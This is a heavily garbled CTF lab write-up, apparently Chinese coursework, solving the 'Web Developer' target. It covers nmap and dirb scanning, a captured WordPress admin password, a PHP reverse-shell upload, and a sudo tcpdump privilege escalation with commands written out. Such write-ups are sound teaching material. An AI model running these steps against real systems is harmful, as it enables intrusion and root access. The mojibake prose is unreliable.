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1. 4 RCTF

CTF (Capture The Flag) H X —MRiFEFIESE, EMK RTINS ZEFARNRZ BHAITHEARTZH K —F L EL
N CTFEIET19964FDEFCONERBEKRSL, URBZ AT BEMEL EHRKEELLE#HITEALPN TR KEES, B
ZRAERTEEME Z2BRATHRRER, 2013FE2REN T T A+ EFECTFRSE . MDEFCONEANCTFZEH KK IE
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1.1 CTFHFMH R

(1) AR (Jeopardy) 7EMBBNXCTFRGF, SRIMETLET HBENBEREMNESE, XHEAMCTFRERSACM
mIEETE. B REUBRM, PRS2 2B AR H MEF FRHE, @EHTELRERE. SEFELSY
M. WEEZR SR, WebisiZE. %5, BUE. BE. LEmBEFRI.

(2) i (Attack-Defense) FEBBIERCTFSRHIH, S PMALER 45 23 (8] ELAHBEAT B BT =7, 3298 M 4% ARk 55 IR T I 2
X F G RE S, B E SRS IRIE AT R84 . BB C TR 7T USSRy il id /5 4 iR B B L 1B 0, & DR
SEESHES, R—MESHE, BERBEUE NS EEHER NS 2R, EXMHEF, MUEESERINRWE S
MER, Wk (FAMRE R 2RE48/M KU B, FRMEEAZ S ThRE561E.

(3) BEHERX (M) &8 T HEERSHEIERMCTFRER], SIS MR AT DAIRE — )06 70 30, 85 18T BB xof
PURAT R IR Z AR, BRAUBS IR BB RABAEACTFEH I RERMICTFERCTFEE.

1.2 CTF& KBRSt

MISC (%4 Z:T0)

ZFMiscellaneous. #HW EKRESHT. BFIGE. AREER. FEEM . KREERITESE, Bt . RITEEERIN
HITREH:; HHR—ANREBRILRSTHER: BUESHTER, #BETRXEEH. FEEESHEFHSMEMEEIR, FE
SN 5] =500
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£ FxProfessionally Program Coder. B H¥ KEBFRE . WEFELIH. HENERRS, MELES, FrHEARESL
A, 2HEMNZ. LGRPPCHELACMREH, ERBANEGK . ETREESW, HEMHAPythonkEiK. XN FEEER
T PR IR T AR

CRYPTO (E#3%)

ZFRCryptography. & HEREMINBEREA, GFEGTAMERER, RAMEEAEZHEE BOMFERE AR, XFEMEEILER
B%. XS EEEZEBESRETFELFHERMR L.
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HE: FKEEEHLWeb Developer 3 f4/root/flag.txtrflag.

EA B AMBIPH LSRR (netdiscover): M43 (Nmap); JMHTTP M55: W%k H M 24(Dirb); RILEIE QI
“cap”; 4M#T “cap” UM, REIMMEEE)EEKSHEN: WARAH BRFED ; MARFEREGRSHEKSHL; SSHZEERMRK
%%8%; topdump H M A .

LA

1. KI B (netdiscover), ik F|WebDeveloperf#]IPHiil. #HE .

0, type: EN1OMB, MAC: 00:0c:29:36:

sdn.net/m0_

2. :FIFANMAPHH# HAR N, KBEARENREOIFE. REER, BEFRH BARRENRSEHE? (RSB KL
Loy A=)

@ -~
192,168,144
starting Nmap 7.91 ( h nmap.org ) at 2020-12-06 10:09 CST
Nmap scan I

7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
.29 ((Ubuntu))
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2, HHAFENRGTHTTPRS, ZEAMANESGHBEFEMNES. B8 REFTHER?

C e 192.168.126.113 e @
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EXAMPLE SITE

Just another WordPress site

POSTS

RECENTY PORTS
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3. F A whatweb#R#l H #7 M 3 43 F I CMS#EiR . B . S EHKCMSE 42

FRAT EOIN VIEW >Tarcm IeTTINal ey

sdn.net/m0_

5. M4 Rwpscan, WEUHEINEE.

WPScanf —Z &t Xfwordpress ) Z & #i 8 44; WPScant] LA #i HwordpressifiiAs, F&8, #ft, FEe P URBREE &
PG

6. {1/ Dirb BB HF. (Dirb R—ANELITHTFREBERNITAR, £ KaliPRIACEZR, XUTAEHEHIN
patator, dirsearch, DirBuster, EHAN K@) BE. RB—AUFAMNEREFRXNEFR (BE) .

root@dkali:~# dirb http://192.168.136.134

DIRB v2.22



START_TIME: Sun Dec 6 22:26:17 2020
URL_BASE:

http://192.168.136.134/

WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.136.134/ ——

+ http://192.168.136.134/index.php (CODE:301|SIZE:0)

= DIRECTORY: http://192.168.136.134/ipdata/

+ http://192.168.136.134/server-status (CODE:403 |SIZE:28A) codn netimo. 4

*
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5. WEHRVTHIZAFR (BR) , KI—NcapXft. BE.
6. FIAWireshark 3 Hriz$iE®, SHHTCPEIER. REMFAFHMELR? BE.
7. MHE—PRIAMGEEEAMGEG. BHE.

(R ‘http.request.method == POST

No. Time
: 180 90.210143 192.168.1.222 192.168.1.176 799 POST /word

665 123.135136 192.168.1.222 192.168.1.176 HTTP 1015 POST fwordpress/wp-admlj

Form
Form
Form
Form
Form

v v ww

Source Destination Protocol Lengtt Info

Frame 180: 799 bytes on wire (6392 bits), 799 bytes captured (6392 bits)
Ethernet II, Src: PcsCompu_74:17:d4 (08:00:27:74:17:d4), Dst: PcsCompu_1d:4d:40 (08:00:27:1d:4d:40)
Internet Protocol Version 4, Src: 192.168.1.222, Dst: 192.168.1.176

Transmission Control Protocol, Src Port: 49558, Dst Port: 80, Seq: 1, Ack: 1, Len: 733
Hypertext Transfer Protocol

HTML Form URL Encoded: application/x-www-Torm-urlencoded

item:
item:
item:
item:
item:

"log" = "webdeveloper”

"pwd" = "Te5eQq&4sBS!YrS)wf%(DcAd"

"wp-submit™ = "Log In"

"redirect_to" = "http://192.168.1.176/wordpress/wp-admin/"
"testcookie" = "1"

(P2 R RS 538IERGK S RAFEBS)
8. FIAHZCMSFER (FHHPlugin) HEiH.
9. I P d 1 U TR FRAN
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A% 5R2: bAE R Hshells

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

[HiK: PHPMuEE; SLP@E. bBAEMIEE, URLYE(SH)iZREshell TTTH .

Re: ZHALSRERBTCPERSI W HE (HATRERHFPHILARAS) . 1
ECMSAHPHPH &, 7 LARI A H LI & #ishell. ELAEHAIELIPHNEANR D, (REBEHE) .

HNEG, REMER—APHPIE, /55 php-reverse-shell PHP HAAS 2 BiZ T #1KAD .
BERARRG 5 AR P Ko 3w 1 (BEC & IPHubE RT3 15D .

B FAEKal PR FANCIF AT, Brdi 3 885 b B PHP R . M52k #shel (FH P www-data) . BV LiEE, &
FEwp-config.phpIREIK S Kk H4. QEEERD)

JR3: FHAXHEREEM (File manager) K.
ARG, B LN ¥wp-config.php.

PLEFTR=3E—, SREMUSHNGT R, RIESEEA.

10, SSHE FR555
SRF A _E— R E U BHE E R P 2 B E TR S A . 8.
1. ZREF/rootflag.txt DL FEAIEBRIK S RBRBRUTEHAE.

BLEEE.

10, f# HtcpdumpPATERE 4 (HAtecpdumpii R BB B ESPITHREM L. )
BE LU H AT PATHRI@ L.

RILAT Lhrooti PR $44T tepdump i 4

B Bt s

touch /tmp/exploit1

5 Ashellcode

echo ‘cat /root/flag.txt’ > /tmp/exploit

TR T AT AT AR

chmod +x /tmp/exploit

F) A tcpdumpHATAE = 4

sudo tcpdump -i ethO -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

15 flag

tepdump iy & Vi :

-i eth0 M8 E MR IR E R B

-w /dev/null ¥ 3R B R B H H BT R E (RahEdEa%ER)

-z [command] 1217 #8 7&Ky &

-Z [user] & & F P #AT A4

-G [rotate_seconds] frotate_secondsFs — Ik SR AT -wit 5E B i
-W [num] ¥ & . 5 &



	CTF实践
	实验四 CTF实践

